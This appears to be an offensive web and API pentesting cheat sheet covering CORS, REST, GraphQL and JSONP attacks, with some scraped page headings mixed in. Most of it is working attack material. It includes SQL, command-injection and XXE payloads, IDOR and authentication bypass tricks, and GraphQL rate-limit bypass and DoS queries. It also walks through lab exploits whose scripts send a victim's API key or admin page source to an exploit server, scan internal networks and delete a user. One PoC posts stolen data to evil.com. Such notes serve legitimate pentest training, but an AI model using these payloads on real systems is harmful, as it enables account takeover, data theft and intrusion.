    # https://github.com/chenjj/CORScanner
    python cors_scan.py -u example.com
    # https://github.com/Shivangx01b/CorsMe
    echo "https://example.com" | ./Corsme 
    cat subdomains.txt | ./httprobe -c 70 -p 80,443,8080,8081,8089 | tee http_https.txt
    cat http_https.txt | ./CorsMe -t 70
    # CORSPoc
    # https://tools.honoki.net/cors.html
    # Tools
    https://github.com/Fuzzapi/fuzzapi
    https://github.com/Fuzzapi/API-fuzzer
    https://github.com/flipkart-incubator/Astra
    https://github.com/BBVA/apicheck/
    https://github.com/ngalongc/openapi_security_scanner
    https://github.com/assetnote/kiterunner
    https://github.com/s0md3v/dump/tree/master/json2paths
    https://github.com/API-Security/APIKit
    
    # API keys guesser
    https://api-guesser.netlify.app/
    
    # Wordlists
    https://github.com/chrislockard/api_wordlist
    https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common-api-endpoints-mazen160.txt
    https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content/api
    https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/common-methods/common-methods.txt
    
    # Swagger to burp
    https://rhinosecuritylabs.github.io/Swagger-EZ/
    
    # List swagger routes
    https://github.com/amalmurali47/swagroutes
    
    # Checklist
    https://gitlab.com/pentest-tools/API-Security-Checklist/-/blob/master/README.md
    
    # Best mindmap
    https://dsopas.github.io/MindAPI/play/
    
    # GUID guesser
    https://gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
    
    # Test swagger endpoints
    https://github.com/BishopFox/sj
    # SOAP uses: mostly HTTP and XML, have header and body
    # REST uses: HTTP, JSON , URL and XML, defined structure
    # GraphQL uses: Custom query language, single endpoint
    
    # Always check for race conditions and memory leaks (%00)
    
    # SQLi tip
    {"id":"56456"} - OK
    {"id":"56456 AND 1=1#"} -> OK
    {"id":"56456 AND 1=2#"} -> OK
    {"id":"56456 AND 1=3#"} -> ERROR
    {"id":"56456 AND sleep(15)#"} -> SLEEP 15 SEC
    
    # Shell injection
    - RoR
    Check params like ?url=Kernel#open
    and change like ?url=|ls
    
    # Tip
    If the request returns nothing:
    - Add this header to siumlate a Frontend
    "X-requested-with: XMLHttpRequest"
    - Add params like:
    GET /api/messages             > 401
    GET /api/messages?user_id=1   > 200
    
    # Checklist:
    •  Auth type
    •  Max retries in auth
    •  Encryption in sensible fields
    •  Test from most vulnerable to less
       ◇ Organization's user management
       ◇ Export to CSV/HTML/PDF
       ◇ Custom views of dashboards
       ◇ Sub user creation&management
       ◇ Object sharing (photos, posts,etc)
    • Archive.org
    • Censys
    • VirusTotal
    • Abusing object level authentication
    • Abusing weak password/dictionary brute forcing
    • Testing for mass management, instead /api/videos/1 -> /api/my_videos
    • Testing for excessive data exposure
    • Testing for command injection
    • Testing for misconfigured permissions
    • Testing for SQL injection
    
    Access
    • Limit in repeated requests
    • Check always HTTPS
    • Check HSTS
    • Check distinct login paths /api/mobile/login | /api/v3/login | /api/magic_link
    • Even id is not numeric, try it /?user_id=111 instead /[email protected]
    • Bruteforce login
    • Try mobile API versions
    • Don't assume developer, mobile and web API is the same, test them separately
    
    Input
    • Check distinct methods GET/POST/PUT/DELETE.
    • Validate content-type on request Accept header (e.g. application/xml, application/json, etc.)
    • Validate content-type of posted data (e.g. application/x-www-form-urlencoded, multipart/form-data, application/json, etc.).
    • Validate user input (e.g. XSS, SQL-Injection, Remote Code Execution, etc.).
    • Check sensitive data in the URL.
    • Try input injections in ALL params
    • Locate admin endpoints
    • Try execute operating system command 
       ◇ Linux :api.url.com/endpoint?name=file.txt;ls%20/
    • XXE
       ◇ <!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
    • SSRF
    • Check distinct versions api/v{1..3}
    • If REST API try to use as SOAP changing the content-type to "application/xml" and sent any simple xml to body
    • IDOR in body/header is more vulnerable than ID in URL
    • IDOR:
       ◇ Understand real private resources that only belongs specific user
       ◇ Understand relationships receipts-trips
       ◇ Understand roles and groups
       ◇ If REST API, change GET to other method Add a “Content-length” HTTP header or Change the “Content-type”
       ◇ If get 403/401 in api/v1/trips/666 try 50 random IDs from 0001 to 9999
    • Bypass IDOR limits:
       ◇ Wrap ID with an array {“id”:111} --> {“id”:[111]}
       ◇ JSON wrap {“id”:111} --> {“id”:{“id”:111}}
       ◇ Send ID twice URL?id=<LEGIT>&id=<VICTIM>
       ◇ Send wildcard {"user_id":"*"}
       ◇ Param pollution 
          ▪ /api/get_profile?user_id=<victim’s_id>&user_id=<user_id>
          ▪ /api/get_profile?user_id=<legit_id>&user_id=<victim’s_id>
          ▪ JSON POST: api/get_profile {“user_id”:<legit_id>,”user_id”:<victim’s_id>}
          ▪ JSON POST: api/get_profile {“user_id”:<victim’s_id>,”user_id”:<legit_id>}
          ▪ Try wildcard instead ID
    • If .NET app and found path, Developers sometimes use "Path.Combine(path_1,path_2)" to create full path. Path.Combine has weird behavior: if param#2 is absolute path, then param#1 is ignored.
       ◇ https://example.org/download?filename=a.png -> https://example.org/download?filename=C:\\inetpub\wwwroot\a.png
       ◇ Test: https://example.org/download?filename=\\smb.dns.praetorianlabs.com\a.png
    • Found a limit / page param? (e.g: /api/news?limit=100) It might be vulnerable to Layer 7 DoS. Try to send a long value (e.g: limit=999999999) and see what happens :)
    
    Processing
    •  Check if all the endpoints are protected behind authentication.
    •  Check /user/654321/orders instead /me/orders.
    •  Check auto increment ID's.
    •  If parsing XML, check XXE.
    •  Check if DEBUG is enabled.
    • If found GET /api/v1/users/<id> try DELETE / POST to create/delete users
    • Test less known endpoint POST /api/profile/upload_christmas_voice_greeting
    
    Output
    • If you find sensitive resource like /receipt try /download_receipt,/export_receipt.
    • DoS Limit: /api/news?limit=100 -> /api/news?limit=9999999999
    • Export pdf - try XSS or HTML injection
       ◇ LFI: username=<iframe src="file:///C:/windows/system32/drivers/etc/hosts" height=1000 width=1000/>
       ◇ SSRF: <object data=”http://127.0.0.1:8443”/>
       ◇ Open Port: <img src=”http://127.0.0.1:445”/> if delay is < 2.3 secs is open
       ◇ Get real IP: <img src=”https://iplogger.com/113A.gif”/>
       ◇ DoS: <img src=”http://download.thinkbroadband.com/1GB.zip”/>
          ▪ <iframe src=”http://example.com/RedirectionLoop.aspx”/>
          
          
    # Endpoint bypasses
    # whatever.com/api/v1/users/sensitivedata -> access denied
    # Add to the final endpoint
    .json
    ?
    ..;/
    \..\.\getUSer
    /
    ??
    &details
    #
    %
    %20
    %09
    
    # General info about APIs
    https://openapi.tools/
    
    # Common vulns
    - API Exposure
    - Misconfigured Caching
    - Exposed tokens
    - JWT Weaknesses
    - Authorization Issues / IDOR / BOLA
    - Undocumented Endpoints
    - Different Versions
    - Rate Limiting (BF allowed)
    - Race Conditions
    - XXE injection
    - Switching Content Type
    - HTTP Methods
    - Injection Vulnerabilities
    Logo
    # Predictable endppoints
    GET /video/1
    DELETE /video/1
    GET /video/1/delete
    GET /video/2
    
    # Create POST
    # Read GET
    # Update POST PUT
    # Delete PUT DELETE
    
    # Fuzz users & methods to enumerate like /$user$/1 with https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/common-methods/common-methods.txt
    
    # Check if supports SOAP. Change the content-type to "application/xml", add a simple XML in the request body, and see how the API handles it.
    # https://github.com/gsmith257-cyber/GraphCrawler
    # https://github.com/dolevf/graphw00f
    # https://github.com/nikitastupin/clairvoyance
    # https://github.com/y0k4i-1337/clairvoyancex
    # https://github.com/bountyyfi/introspectme
    # https://github.com/assetnote/batchql
    # https://github.com/dolevf/graphql-cop
    
    # https://github.com/doyensec/GQLSpection
    # https://github.com/doyensec/inql
    # https://github.com/swisskyrepo/GraphQLmap
    # https://apis.guru/graphql-voyager/
    # https://gitlab.com/dee-see/graphql-path-enum
    
    # https://graphql.security/
    # https://astexplorer.net/
    
    # Burp extensions
    https://github.com/doyensec/inql
    https://github.com/forcesunseen/graphquail
    https://blog.yeswehack.com/yeswerhackers/how-exploit-graphql-endpoint-bug-bounty/
    https://blog.securelayer7.net/api-penetration-testing-with-owasp-2017-test-cases/
    https://blog.forcesunseen.com/graphql-security-testing-without-a-schema
    https://escape.tech/blog/graphql-security-wordlist/
    https://www.assetnote.io/resources/research/exploiting-graphql
    # IDOR
    Try access any user id other than yours
    
    
    # SQL/NoSQL Injections
    "filters":{
    		"username":"test' or 1=1--"
    	}
    	
    # Rate Limit
    Because of the nature of GraphQL, we can send multiple queries in a single request by batching them together. If the developers did not implement any kind of mechanism to prevent us from sending batch requests than we could potentially bypass rate limiting by sending the following queries in a single request:
    mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
    mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
    mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
    
    # Info disclosure
    A query can be constructed from scratch from verbose error messages even when we don’t have the benefits of introspection.
    
    # DOS
    Similar to XXE billion laughs attack
    
    query {
    &amp;amp;nbsp; posts{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; title
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comments{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comment
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; user{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comments{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   user{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   comments{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   comment
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;  &amp;amp;nbsp; user{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;  &amp;amp;nbsp; comments{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;  &amp;amp;nbsp; comment
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   user{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   comments{
    &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   comment
     &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;       user{
     &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   ...
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
    # Easy to enumeration
    
    # Create {createPost(...)}
    # Read {post(id:"1"){id,..}}
    # Update {updatePost(...)}
    # Delete {deletePost(...)}
    
    To test a server for GraphQL introspection misconfiguration: 
    1) Intercept the HTTP request being sent to the server 
    2) Replace its post content / query with a generic introspection query to fetch the entire backend schema 
    3) Visualize the schema to gather juicy API calls. 
    4) Craft any potential GraphQL call you might find interesting and HACK away!
    
    example.com/graphql?query={__schema%20{%0atypes%20{%0aname%0akind%0adescription%0afields%20{%0aname%0a}%0a}%0a}%0a}
    
    XSS in GraphQL:
    http://localhost:4000/example-1?id=%3C/script%3E%3Cscript%3Ealert('I%20%3C3%20GraphQL.%20Hack%20the%20Planet!!')%3C/script%3E%3Cscript%3E
    http://localhost:4000/example-3?id=%3C/script%3E%3Cscript%3Ealert('I%20%3C3%20GraphQL.%20Hack%20the%20Planet!!')%3C/script%3E%3Cscript%3E
    
    # Introspection query
    __schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
    # Encoded
    fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
    # Formatted
    {
      __schema {
        types {
          name
          fields {
            name
          }
        }
      }
    }
    

    Yes: same scheme, domain, and port

    http://normal-website.com/example2/

    Yes: same scheme, domain, and port

    https://normal-website.com/example/

    No: different scheme and port

    http://en.normal-website.com/example/

    No: different domain

    http://www.normal-website.com/example/

    No: different domain

    http://normal-website.com:8080/example/

    No: different port

    API Security

    hashtag
    API Discovery

    hashtag
    Passive Discovery

    hashtag
    Active Discovery

    hashtag
    REST API Testing

    hashtag
    Authentication Bypass

    hashtag
    IDOR (Insecure Direct Object Reference)

    hashtag
    Mass Assignment

    hashtag
    Rate Limiting Bypass

    hashtag
    JWT Attacks

    See dedicated for detailed attacks.

    hashtag
    GraphQL Testing

    hashtag
    Discovery

    hashtag
    Introspection Query

    hashtag
    GraphQL Attacks

    hashtag
    GraphQL Tools

    hashtag
    gRPC Testing

    hashtag
    Setup

    hashtag
    Enumeration

    hashtag
    gRPC Attacks

    hashtag
    API-Specific Vulnerabilities

    hashtag
    Broken Object Level Authorization (BOLA)

    hashtag
    Broken Function Level Authorization (BFLA)

    hashtag
    Server-Side Request Forgery (SSRF)

    hashtag
    Excessive Data Exposure

    hashtag
    Tools

    hashtag
    Resources

    # Simple test
    curl --head -s 'http://example.com/api/v1/secret' -H 'Origin: http://evil.com'
    
    # There are various exceptions to the same-origin policy:
    • Some objects are writable but not readable cross-domain, such as the location object or the location.href property from iframes or new windows.
    • Some objects are readable but not writable cross-domain, such as the length property of the window object (which stores the number of frames being used on the page) and the closed property.
    • The replace function can generally be called cross-domain on the location object.
    • You can call certain functions cross-domain. For example, you can call the functions close, blur and focus on a new window. The postMessage function can also be called on iframes and new windows in order to send messages from one domain to another.
    
    # Access-Control-Allow-Origin header is included in the response from one website to a request originating from another website, and identifies the permitted origin of the request. A web browser compares the Access-Control-Allow-Origin with the requesting website's origin and permits access to the response if they match.
    
    CORS good example:
    https://hackerone.com/reports/235200
    
    - CORS with basic origin reflection:
    
        With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "Account Details".
        Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
        Send the request to Burp Repeater, and resubmit it with the added header: Origin: https://example.com
        Observe that the origin is reflected in the Access-Control-Allow-Origin header.
        Now browse to the exploit server, enter the following HTML, replacing $url with the URL for your specific lab and test it by clicking "view exploit":
        <script>
           var req = new XMLHttpRequest();
           req.onload = reqListener;
           req.open('get','$url/accountDetails',true);
           req.withCredentials = true;
           req.send();
    
           function reqListener() {
               location='/log?key='+this.responseText;
           };
        </script>
        Observe that the exploit works - you have landed on the log page and your API key is in the URL.
        Go back to the exploit server and click "Deliver exploit to victim".
        Click "Access log", retrieve and submit the victim's API key to complete the lab.
    
     - Whitelisted null origin value
    
         With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "My account".
        Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
        Send the request to Burp Repeater, and resubmit it with the added header Origin: null.
        Observe that the "null" origin is reflected in the Access-Control-Allow-Origin header.
        Now browse to the exploit server, enter the following HTML, replacing $url with the URL for your specific lab, $exploit-server-url with the exploit server URL, and test it by clicking "view exploit":
        <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
           var req = new XMLHttpRequest ();
           req.onload = reqListener;
           req.open('get','$url/accountDetails',true);
           req.withCredentials = true;
           req.send();
    
           function reqListener() {
               location='$exploit-server-url/log?key='+encodeURIComponent(this.responseText);
           };
        </script>"></iframe>
        Notice the use of an iframe sandbox as this generates a null origin request. Observe that the exploit works - you have landed on the log page and your API key is in the URL.
        Go back to the exploit server and click "Deliver exploit to victim".
        Click "Access log", retrieve and submit the victim's API key to complete the lab.
    
    - CORS with insecure certificate
    
        With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "Account Details".
        Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
        Send the request to Burp Repeater, and resubmit it with the added header Origin: http://subdomain.lab-id where lab-id is the lab domain name.
        Observe that the origin is reflected in the Access-Control-Allow-Origin header, confirming that the CORS configuration allows access from arbitrary subdomains, both HTTPS and HTTP.
        Open a product page, click "Check stock" and observe that it is loaded using a HTTP URL on a subdomain.
        Observe that the productID parameter is vulnerable to XSS.
        Now browse to the exploit server, enter the following HTML, replacing $your-lab-url with your unique lab URL and $exploit-server-url with your exploit server URL and test it by clicking "view exploit":
        <script>
           document.location="http://stock.$your-lab-url/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://$your-lab-url/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://$exploit-server-url/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
        </script>
        Observe that the exploit works - you have landed on the log page and your API key is in the URL.
        Go back to the exploit server and click "Deliver exploit to victim".
        Click "Access log", retrieve and submit the victim's API key to complete the lab.
    
    - CORS with pivot attack
    
    Step 1
    First we need to scan the local network for the endpoint. Replace $collaboratorPayload with your own Collaborator payload or exploit server URL. Enter the following code into the exploit server. Click store then "Deliver exploit to victim". Inspect the log or the Collaborator interaction and look at the code parameter sent to it.
    <script>
    var q = [], collaboratorURL = 'http://$collaboratorPayload';
    for(i=1;i<=255;i++){
      q.push(
      function(url){
        return function(wait){
        fetchUrl(url,wait);
        }
      }('http://192.168.0.'+i+':8080'));
    }
    for(i=1;i<=20;i++){
      if(q.length)q.shift()(i*100);
    }
    function fetchUrl(url, wait){
      var controller = new AbortController(), signal = controller.signal;
      fetch(url, {signal}).then(r=>r.text().then(text=>
        {
        location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
      }
      ))
      .catch(e => {
      if(q.length) {
        q.shift()(wait);
      }
      });
      setTimeout(x=>{
      controller.abort();
      if(q.length) {
        q.shift()(wait);
      }
      }, wait);
    }
    </script>
    Step 2
    Clear the code from stage 1 and enter the following code in the exploit server. Replace $ip with the IP address and port number retrieved from your collaborator interaction. Don't forget to add your Collaborator payload or exploit server URL again. Update and deliver your exploit. We will now probe the username field for an XSS vulnerability. You should retrieve a Collaborator interaction with foundXSS=1 in the URL or you will see foundXSS=1 in the log.
    <script>
    function xss(url, text, vector) {
      location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
    }
    
    function fetchUrl(url, collaboratorURL){
      fetch(url).then(r=>r.text().then(text=>
      {
        xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
      }
      ))
    }
    
    fetchUrl("http://$ip", "http://$collaboratorPayload");
    </script>
    
    Step 3
    Clear the code from stage 2 and enter the following code in the exploit server. Replace $ip with the same IP address and port number as in step 2 and don't forget to add your Collaborator payload or exploit server again. Update and deliver your exploit. Your Collaborator interaction or your exploit server log should now give you the source code of the admin page.
    <script>
    function xss(url, text, vector) {
      location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
    }
    function fetchUrl(url, collaboratorURL){
      fetch(url).then(r=>r.text().then(text=>
      {
        xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
      }
      ))
    }
    
    fetchUrl("http://$ip", "http://$collaboratorPayload");
    </script>
    Step 4
    Read the source code retrieved from step 3 in your Collaborator interaction or on the exploit server log. You'll notice there's a form that allows you to delete a user. Clear the code from stage 3 and enter the following code in the exploit server. Replace $ip with the same IP address and port number as in steps 2 and 3. The code submits the form to delete carlos by injecting an iframe pointing to the /admin page.
    <script>
    function xss(url, text, vector) {
      location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
    }
    
    function fetchUrl(url){
      fetch(url).then(r=>r.text().then(text=>
      {
        xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
      }
      ))
    }
    
    fetchUrl("http://$ip");
    </script>
    Click on "Deliver exploit to victim" to submit the code. Once you have submitted the form to delete user carlos then you have completed the lab.
    
    # JSONP
    
    In GET URL append “?callback=testjsonp”
    Response should be:
    testjsonp(<json-data>)
    
    # Bypasses
    Origin:null
    Origin:attacker.com
    Origin:attacker.target.com
    Origin:attackertarget.com
    Origin:sub.attackertarget.com
    <!DOCTYPE html>
    <html>
    <head>
    <title>CORS PoC Exploit</title>
    </head>
    <body>
    <center>
    
    <h1>CORS Exploit<br>six2dez</h1>
    <hr>
    <div id="demo">
    <button type="button" onclick="cors()">Exploit</button>
    </div>
    <script type="text/javascript">
     function cors() {
       var xhttp = new XMLHttpRequest();
       xhttp.onreadystatechange = function() {
         if(this.readyState == 4 && this.status == 200) {
            document.getElementById("demo").innerHTML = this.responseText;
         }
       };
     xhttp.open("GET", "http://<vulnerable-url>", true);
     xhttp.withCredentials = true;
     xhttp.send();
     }
    </script>
    
    </center>
    </body>
    </html>
    <html>
    <script>
    var http = new XMLHttpRequest();
    var url = 'Url';//Paste here Url
    var params = 'PostData';//Paste here POST data
    http.open('POST', url, true);
    
    //Send the proper header information along with the request
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    
    http.onreadystatechange = function() {//Call a function when the state changes.
        if(http.readyState == 4 && http.status == 200) {
            alert(http.responseText);
        }
    }
    http.send(params);
    
    </script>
    </html>
    <html>
    <body>
    <button type='button' onclick='cors()'>CORS</button>
    <p id='corspoc'></p>
    <script>
    function cors() {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
    var a = this.responseText; // Sensitive data from target1337.com about user account
    document.getElementById("corspoc").innerHTML = a;
    xhttp.open("POST", "https://evil.com", true);// Sending that data to Attacker's website
    xhttp.withCredentials = true;
    console.log(a);
    xhttp.send("data="+a);
    }
    };
    xhttp.open("POST", "https://target1337.com", true);
    xhttp.withCredentials = true;
    var body = "requestcontent";
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
    aBody[i] = body.charCodeAt(i); 
    xhttp.send(new Blob([aBody]));
    }
    </script>
    </body>
    </html>
    <!DOCTYPE html>
    <html>
    <head>
    <title>JSONP PoC</title>
    </head>
    <body>
    <center>
    
    <h1>JSONP Exploit<br>YourTitle</h1>
    <hr>
    <div id="demo">
    <button type="button" onclick="trigger()">Exploit</button>
    </div>
    <script>
    
    function testjsonp(myObj) {
      var result = JSON.stringify(myObj)
      document.getElementById("demo").innerHTML = result;
      //console.log(myObj)
    }
    
    </script>
    
    <script >
    
      function trigger() {
        var s = document.createElement("script");
        s.src = "https://<vulnerable-endpoint>?callback=testjsonp";
        document.body.appendChild(s);
    }
    
    </script>
    </body>
    </html>
    # Find API endpoints in JavaScript files
    # https://github.com/m4ll0k/SecretFinder
    python3 SecretFinder.py -i https://target.com -e
    
    # https://github.com/GerbenJavado/LinkFinder
    python3 linkfinder.py -i https://target.com -d -o cli
    
    # Wayback Machine for historical endpoints
    # https://github.com/tomnomnom/waybackurls
    echo "target.com" | waybackurls | grep -E "api|v[0-9]|graphql"
    
    # Search for API documentation
    site:target.com filetype:yaml
    site:target.com filetype:json swagger
    site:target.com inurl:api-docs
    site:target.com inurl:swagger
    site:target.com inurl:openapi
    JWT section
    OWASP API Security Top 10arrow-up-right
    API Security Checklistarrow-up-right
    HackTricks - Web API Pentestingarrow-up-right
    PortSwigger - API Testingarrow-up-right
    # Directory bruteforce for API endpoints
    ffuf -u https://target.com/FUZZ -w /path/to/api-wordlist.txt -mc 200,201,204,301,302,307,401,403,405
    
    # Common API paths to check
    /api/
    /api/v1/
    /api/v2/
    /v1/
    /v2/
    /graphql
    /graphiql
    /swagger/
    /swagger-ui/
    /swagger.json
    /swagger.yaml
    /openapi.json
    /api-docs/
    /docs/
    /redoc/
    
    # API versioning enumeration
    for i in {1..10}; do curl -s "https://target.com/api/v$i/" -o /dev/null -w "v$i: %{http_code}\n"; done
    # Try accessing endpoints without authentication
    curl -X GET https://target.com/api/v1/users
    
    # Try different HTTP methods
    curl -X OPTIONS https://target.com/api/v1/admin
    curl -X HEAD https://target.com/api/v1/admin
    curl -X POST https://target.com/api/v1/admin
    
    # Header manipulation
    curl -H "X-Original-URL: /api/v1/admin" https://target.com/
    curl -H "X-Rewrite-URL: /api/v1/admin" https://target.com/
    curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/api/v1/admin
    curl -H "X-Forwarded-Host: localhost" https://target.com/api/v1/admin
    
    # HTTP method override
    curl -X POST -H "X-HTTP-Method-Override: DELETE" https://target.com/api/v1/users/1
    curl -X POST -H "X-Method-Override: PUT" https://target.com/api/v1/users/1
    # Numeric ID enumeration
    for i in {1..100}; do curl -s "https://target.com/api/v1/users/$i" | grep -v "not found"; done
    
    # UUID/GUID prediction
    # Check if UUIDs are sequential or predictable
    
    # Parameter pollution
    curl "https://target.com/api/v1/users?id=1&id=2"
    curl "https://target.com/api/v1/users?id[]=1&id[]=2"
    
    # JSON body parameter manipulation
